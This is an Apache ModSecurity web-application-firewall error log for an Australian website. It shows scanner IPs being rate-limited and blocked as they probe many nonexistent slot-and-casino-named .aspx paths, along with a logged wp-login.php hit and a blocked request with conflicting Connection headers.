[Tue Apr 21 23:21:23.438573 2026] [:error] [pid 35321:tid 35400] [client 51.120.72.131:20824] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x1da.php"] [unique_id "aeeV8zeHLhVUuu8cVXwN5AAAAFA"]
[Wed Apr 22 00:35:41.059327 2026] [:error] [pid 35321:tid 35400] [client 62.60.131.159:30098] [client 62.60.131.159] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.131.159, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aeenXTeHLhVUuu8cVXw1kQAAAFA"]
[Wed Apr 22 06:52:53.053851 2026] [:error] [pid 32053:tid 32068] [client 43.133.187.11:50830] [client 43.133.187.11] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aef_xQzPjXx_ocfbYhs2dgAAA00"]
[Wed Apr 22 07:53:56.381727 2026] [:error] [pid 23041:tid 23066] [client 54.37.86.223:55186] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aegOFETXx_lUa7xwAb4ElAAAARY"]
[Wed Apr 22 07:53:59.565126 2026] [:error] [pid 23041:tid 23044] [client 54.37.86.223:53934] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aegOF0TXx_lUa7xwAb4EmAAAAQA"]
[Wed Apr 22 07:54:02.060755 2026] [:error] [pid 32053:tid 32065] [client 54.37.86.223:47740] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aegOGgzPjXx_ocfbYhs7QQAAA0o"]
[Wed Apr 22 07:54:04.762592 2026] [:error] [pid 23041:tid 23045] [client 54.37.86.223:47752] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aegOHETXx_lUa7xwAb4EoAAAAQE"]
[Wed Apr 22 07:54:07.288330 2026] [:error] [pid 31755:tid 31776] [client 54.37.86.223:47764] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aegOHwz2mYMkg3X8q1uBVAAAAg0"]
[Wed Apr 22 07:54:09.914102 2026] [:error] [pid 21683:tid 21753] [client 54.37.86.223:47776] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aegOIVZBWT-0diZyYyahzQAAAIM"]
[Wed Apr 22 07:54:12.291152 2026] [:error] [pid 23041:tid 23048] [client 54.37.86.223:37738] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aegOJETXx_lUa7xwAb4EqQAAAQQ"]
[Wed Apr 22 07:54:15.050557 2026] [:error] [pid 31755:tid 31765] [client 54.37.86.223:37740] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aegOJwz2mYMkg3X8q1uBYQAAAgI"]
[Wed Apr 22 07:54:17.752150 2026] [:error] [pid 31755:tid 31773] [client 54.37.86.223:37744] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aegOKQz2mYMkg3X8q1uBZAAAAgo"]
[Wed Apr 22 07:54:20.419597 2026] [:error] [pid 31756:tid 31814] [client 54.37.86.223:37748] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aegOLN_WbkXbHaEfhd3nxwAAAlY"]
[Wed Apr 22 07:54:23.279374 2026] [:error] [pid 31756:tid 31813] [client 54.37.86.223:45128] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aegOL9_WbkXbHaEfhd3nygAAAlU"]
[Wed Apr 22 07:54:25.685170 2026] [:error] [pid 31756:tid 31807] [client 54.37.86.223:45134] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aegOMd_WbkXbHaEfhd3nzgAAAk8"]
[Wed Apr 22 07:54:28.359792 2026] [:error] [pid 32053:tid 32072] [client 54.37.86.223:45138] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aegONAzPjXx_ocfbYhs7SAAAA1E"]
[Wed Apr 22 07:54:31.067318 2026] [:error] [pid 31949:tid 31967] [client 54.37.86.223:45150] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aegON32WtGZh5JfbMUdGHgAAAw8"]
[Wed Apr 22 07:54:33.624836 2026] [:error] [pid 31755:tid 31780] [client 54.37.86.223:45674] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20168.aspx"] [unique_id "aegOOQz2mYMkg3X8q1uBhQAAAhE"]
[Wed Apr 22 07:54:36.206873 2026] [:error] [pid 21682:tid 21734] [client 54.37.86.223:45676] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aegOPJlXWQZUlmPHS3oXIwAAAEs"]
[Wed Apr 22 07:54:38.802044 2026] [:error] [pid 21682:tid 21737] [client 54.37.86.223:45688] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aegOPplXWQZUlmPHS3oXKwAAAE4"]
[Wed Apr 22 07:54:41.311659 2026] [:error] [pid 31756:tid 31799] [client 54.37.86.223:44856] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aegOQd_WbkXbHaEfhd3n0wAAAkc"]
[Wed Apr 22 07:54:43.832349 2026] [:error] [pid 23041:tid 23056] [client 54.37.86.223:44872] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "aegOQ0TXx_lUa7xwAb4EwAAAAQw"]
[Wed Apr 22 07:54:46.329905 2026] [:error] [pid 23041:tid 23061] [client 54.37.86.223:44888] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aegORkTXx_lUa7xwAb4EwwAAARE"]
[Wed Apr 22 07:54:48.726861 2026] [:error] [pid 23041:tid 23064] [client 54.37.86.223:44896] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aegOSETXx_lUa7xwAb4ExwAAARQ"]
[Wed Apr 22 07:54:51.189967 2026] [:error] [pid 23041:tid 23049] [client 54.37.86.223:44906] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aegOS0TXx_lUa7xwAb4E0AAAAQU"]
[Wed Apr 22 07:54:53.639046 2026] [:error] [pid 31755:tid 31765] [client 54.37.86.223:53050] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aegOTQz2mYMkg3X8q1uB1AAAAgI"]
[Wed Apr 22 07:55:15.732464 2026] [:error] [pid 32095:tid 32116] [client 54.37.86.223:53064] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aegOY9fu5Cv628YPe597ngAAA5I"]
[Wed Apr 22 07:55:18.071983 2026] [:error] [pid 21682:tid 21737] [client 54.37.86.223:39552] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aegOZplXWQZUlmPHS3oXSwAAAE4"]
[Wed Apr 22 07:55:20.420953 2026] [:error] [pid 32095:tid 32114] [client 54.37.86.223:39568] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "aegOaNfu5Cv628YPe597oAAAA5A"]
[Wed Apr 22 09:09:09.286562 2026] [:error] [pid 31755:tid 31778] [client 217.182.195.233:43550] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aegftQz2mYMkg3X8q1us4AAAAg8"]
[Wed Apr 22 09:09:11.733498 2026] [:error] [pid 31755:tid 31781] [client 217.182.195.233:33496] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aegftwz2mYMkg3X8q1us5AAAAhI"]
[Wed Apr 22 09:09:14.107829 2026] [:error] [pid 31756:tid 31810] [client 217.182.195.233:33508] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aegfut_WbkXbHaEfhd33UwAAAlI"]
[Wed Apr 22 09:09:16.629410 2026] [:error] [pid 31756:tid 31803] [client 217.182.195.233:33518] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aegfvN_WbkXbHaEfhd33VgAAAks"]
[Wed Apr 22 09:09:19.157200 2026] [:error] [pid 32053:tid 32074] [client 217.182.195.233:33522] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aegfvwzPjXx_ocfbYhtDkwAAA1M"]
[Wed Apr 22 09:09:21.664565 2026] [:error] [pid 31756:tid 31797] [client 217.182.195.233:34796] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aegfwd_WbkXbHaEfhd33WwAAAkU"]
[Wed Apr 22 09:09:24.022596 2026] [:error] [pid 23041:tid 23065] [client 217.182.195.233:34800] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aegfxETXx_lUa7xwAb4nTQAAARU"]
[Wed Apr 22 09:09:26.513925 2026] [:error] [pid 31949:tid 31976] [client 217.182.195.233:34802] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aegfxn2WtGZh5JfbMUdRQAAAAxg"]
[Wed Apr 22 09:09:28.847555 2026] [:error] [pid 31949:tid 31957] [client 217.182.195.233:34804] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aegfyH2WtGZh5JfbMUdRQgAAAwU"]
[Wed Apr 22 09:09:31.340128 2026] [:error] [pid 31949:tid 31972] [client 217.182.195.233:40400] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aegfy32WtGZh5JfbMUdRRAAAAxQ"]
[Wed Apr 22 09:09:33.844875 2026] [:error] [pid 32095:tid 32114] [client 217.182.195.233:40410] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aegfzdfu5Cv628YPe5-FGAAAA5A"]
[Wed Apr 22 09:09:36.229203 2026] [:error] [pid 23041:tid 23068] [client 217.182.195.233:40422] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aegf0ETXx_lUa7xwAb4nXQAAARg"]
[Wed Apr 22 09:09:38.563073 2026] [:error] [pid 23041:tid 23044] [client 217.182.195.233:40426] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aegf0kTXx_lUa7xwAb4nZQAAAQA"]
[Wed Apr 22 09:09:41.066897 2026] [:error] [pid 21682:tid 21733] [client 217.182.195.233:49296] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aegf1ZlXWQZUlmPHS3oveAAAAEo"]
[Wed Apr 22 09:09:43.565004 2026] [:error] [pid 31756:tid 31811] [client 217.182.195.233:49302] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aegf19_WbkXbHaEfhd33bwAAAlM"]
[Wed Apr 22 09:09:46.051933 2026] [:error] [pid 31755:tid 31769] [client 217.182.195.233:49318] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aegf2gz2mYMkg3X8q1utSAAAAgY"]
[Wed Apr 22 09:09:48.518935 2026] [:error] [pid 31755:tid 31773] [client 217.182.195.233:49326] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aegf3Az2mYMkg3X8q1utUQAAAgo"]
[Wed Apr 22 09:09:50.842460 2026] [:error] [pid 31756:tid 31808] [client 217.182.195.233:49918] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aegf3t_WbkXbHaEfhd33eQAAAlA"]
[Wed Apr 22 09:09:53.177030 2026] [:error] [pid 31755:tid 31770] [client 217.182.195.233:49920] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aegf4Qz2mYMkg3X8q1utYQAAAgc"]
[Wed Apr 22 09:09:55.652834 2026] [:error] [pid 21682:tid 21742] [client 217.182.195.233:49934] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aegf45lXWQZUlmPHS3oviQAAAFM"]
[Wed Apr 22 09:09:57.966921 2026] [:error] [pid 21682:tid 21744] [client 217.182.195.233:49946] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aegf5ZlXWQZUlmPHS3oviwAAAFU"]
[Wed Apr 22 09:10:00.608950 2026] [:error] [pid 31755:tid 31772] [client 217.182.195.233:49960] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aegf6Az2mYMkg3X8q1utaQAAAgk"]
[Wed Apr 22 09:10:03.099375 2026] [:error] [pid 31755:tid 31770] [client 217.182.195.233:44450] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aegf6wz2mYMkg3X8q1utcgAAAgc"]
[Wed Apr 22 09:10:05.567643 2026] [:error] [pid 21683:tid 21756] [client 217.182.195.233:44466] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aegf7VZBWT-0diZyYyav0wAAAIY"]
[Wed Apr 22 09:10:26.482971 2026] [:error] [pid 31755:tid 31763] [client 217.182.195.233:44470] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aeggAgz2mYMkg3X8q1utoAAAAgA"]
